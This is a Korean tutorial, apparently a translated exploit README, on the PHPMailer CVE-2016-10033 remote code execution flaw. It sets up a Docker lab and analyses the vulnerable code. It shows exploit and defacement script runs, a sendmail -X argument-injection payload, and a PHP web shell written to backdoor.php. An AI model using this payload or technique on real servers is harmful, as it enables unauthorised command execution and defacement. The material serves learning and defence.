
CTFS.me 문제를 해결하기 위한
PHPMailer는 전 세계적으로 약 900만 명의 사용자를 보유한 세계에서 가장 인기 있는 전송 클래스입니다. 매일 상당한 속도로 다운로드가 계속되고 있습니다. WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등 많은 오픈 소스 프로젝트에서 사용됩니다.
PHPMailer 5.2.18 이전 버전에는 원격 코드 실행(RCE)으로 이어질 수 있는 취약점이 있습니다. PHPMailer의 isMail 전송 방식에 있는 mailSend 함수는 Sender 속성이 설정되지 않은 경우, 원격 공격자가 mail 명령에 추가 매개변수를 전달하고 조작된 From 주소에 "(백슬래시 큰따옴표)를 사용하여 임의 코드를 실행할 수 있게 할 수 있습니다.
테스트를 위해 취약한 환경을 구성하려면 Docker가 설치되어 있어야 하며, 다음 명령을 실행하기만 하면 됩니다:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
그러면 호스트의 8080 포트에 취약한 웹 애플리케이션이 실행됩니다.

이 대상을 익스플로잇하려면 다음을 실행하세요:
./exploit host:port
이 취약한 이미지를 사용 중이라면 다음을 실행하면 됩니다:
./exploit localhost:8080
익스플로잇 후 backdoor.php라는 파일이 웹 디렉터리의 루트 폴더에 저장됩니다. 그리고 익스플로잇은 백도어에 명령을 보낼 수 있는 셸을 제공합니다:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
그게 전부입니다. 이제 셸을 확보했습니다. 또 다른 사용 사례를 보여주는 익스플로잇이 하나 더 있습니다.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
그리고 페이지를 다시 방문하면 다음과 같은 화면을 볼 수 있습니다:

이 커밋 이전의 class.phpmailer.php에서는 특정 시나리오에서 발신자 이메일 주소의 특수 문자에 대한 필터가 없습니다. 이 결함은 여기의 mail 함수를 통해 원격 코드 실행으로 이어질 수 있습니다.
코드를 분석해 보면 mailSend() 함수에는 필터가 없습니다.
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender는 $params 변수에 직접 추가되는데, 이 변수는 validateAddress() 함수에서 필터링되었지만 RFC 3696 사양을 사용하기 때문에 문제를 일으킬 수 있는 특정 문자를 허용합니다. 이 경우에는 따옴표입니다:
백슬래시 문자를 사용한 인용 외에도 일반적인 큰따옴표 문자를 사용하여 문자열을 감쌀 수 있습니다. 예를 들어
"Abc@def"@example.com
"Fred Bloggs"@example.com
위의 처음 두 예제의 대체 형식입니다. 이러한 인용 형식은 권장되는 경우가 드물고 실제로도 흔하지 않지만, 위에서 논의한 바와 같이 이메일 주소를 처리하는 애플리케이션에서는 지원해야 합니다. 특히 인용 형식은 다른 시스템 및 컨텍스트에서의 전환과 관련된 주소에서 자주 나타납니다. 이러한 전환 요구 사항은 여전히 발생하며, 사용자가 제공한 이메일 주소를 수락하는 시스템은 해당 주소가 레거시 시스템과 연결되어 있는지 "알" 수 없으므로 주소 형식을 수락하여 이메일 환경으로 전달해야 합니다.
원한다면 전체 RFC를 여기에서 읽을 수 있습니다. 또한 PHP 버전이 5.2.0 미만이고 PCRE가 설치되어 있지 않으면 validateAddress()의 $patternselect 변수가 noregex로 설정됩니다. 이로 인해 입력이 정규식 검사를 모두 피할 수 있게 됩니다. 다음의 작은 검증만 통과하면 됩니다:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
그런 다음 코드 흐름은 mailPassthru() 함수로 이동합니다. 이 함수는 safe_mode에서 실행 중이면 다음 코드에서 알 수 있듯이 이 결함에 취약하지 않습니다:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
하지만 safe_mode로 실행 중이 아니라면 우리의 특수 매개변수가 mail()에 전달되고, 운이 좋다면 우리가 원하는 내용이 담긴 파일이 우리가 선택한 위치에 기록되도록 할 수 있습니다.
PHP mail() 함수의 익스플로잇은 새로운 것이 아니지만 여전히 유효하며 사람들은 여전히 사용하고 있습니다. 작동 방식을 설명하기 위해 mail() 함수가 어떻게 정의되어 있는지 살펴보겠습니다:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
다양한 결과를 위한 여러 익스플로잇 방법이 있지만, 여기서는 원격 코드 실행(RCE)을 얻기 위한 5번째 매개변수의 익스플로잇에 초점을 맞출 것입니다. $additional_parameters 매개변수는 이메일을 보내도록 구성된 프로그램에 추가 플래그를 명령줄 옵션으로 전달하는 데 사용됩니다. 이 구성은 sendmail_path 변수로 정의됩니다.
PHP 공식 문서의 보안 참고 사항:
additional_parameters 매개변수는 sendmail_path 구성 설정에 정의된 대로 메일을 보낼 때 사용하도록 구성된 프로그램에 추가 플래그를 명령줄 옵션으로 전달하는 데 사용할 수 있습니다. 예를 들어, sendmail과 함께 -f sendmiail 옵션을 사용할 때 봉투 발신자 주소를 설정하는 데 사용할 수 있습니다.
이 매개변수는 명령 실행을 방지하기 위해 내부적으로 escapeshellcmd()에 의해 이스케이프됩니다. escapeshellcmd()는 명령 실행을 방지하지만 추가 매개변수를 추가하는 것은 허용합니다. 보안상의 이유로 사용자는 셸 명령에 원치 않는 매개변수가 추가되지 않도록 이 매개변수를 정화(sanitize)하는 것이 좋습니다.
주입할 수 있는 추가 매개변수를 고려하여 이 결함을 익스플로잇하기 위해 -X를 사용할 것입니다. -X 매개변수에 대해 자세히 알아보면:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
존재한다는 것을 알아두면 좋은 다른 흥미로운 매개변수들도 있습니다:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
그리고
-O option=value
Set option option to the specified value. This form uses long names.
그리고 -O 옵션의 경우 QueueDirectory가 가장 흥미로운 옵션입니다. 이 옵션은 메시지를 대기열에 넣을 디렉터리를 선택합니다.
매개변수와 옵션의 전체 목록을 읽고 싶다면 man sendmail을 실행하거나 여기에서 온라인으로 읽을 수 있습니다.
이 정보와 다른 매개변수 중 하나 이상을 제어할 수 있는 능력을 바탕으로 호스트를 익스플로잇할 수 있습니다. 다음은 성공적인 익스플로잇을 위한 단계입니다:
$additional_parameters와 다른 mail() 매개변수를 제어합니다.webroot 아래의 어느 곳이든 될 수 있습니다(다른 시스템에서는 /var/www/html, 이 예제에서는 /www).|를 약간 섞은 간단한 system() 페이로드를 사용합니다.-X 옵션은 지정한 디렉터리에 로그 정보와 함께 PHP 페이로드가 포함된 로그 파일을 작성한다는 점을 기억하세요. 취약한 PHP 코드의 예:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
위 코드를 실행하면 /www/backdoor.php에 로그 파일이 생성됩니다. 이것이 이 익스플로잇의 핵심입니다.
이 예제에서 사용된 페이로드는 다음과 같습니다:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
이 결함을 찾아볼 수 있는 간단한 원 커맨드 방법을 원하시나요? 이 마법 같은 grep 명령을 기억하세요!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
이 저장소에서 실행하면 다음과 같은 결과가 나옵니다:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
이 취약점은 Dawid Golunski가 발견했습니다.
이 프로그램 또는 이전 프로그램은 교육 목적으로만 사용됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(opsxcq)는 이 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 모든 손해에 대해 책임을 지지 않습니다. 저자 또는 인터넷 서비스 제공자는 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 opsxcq의 책임이 아니라는 사실에 동의하는 것입니다.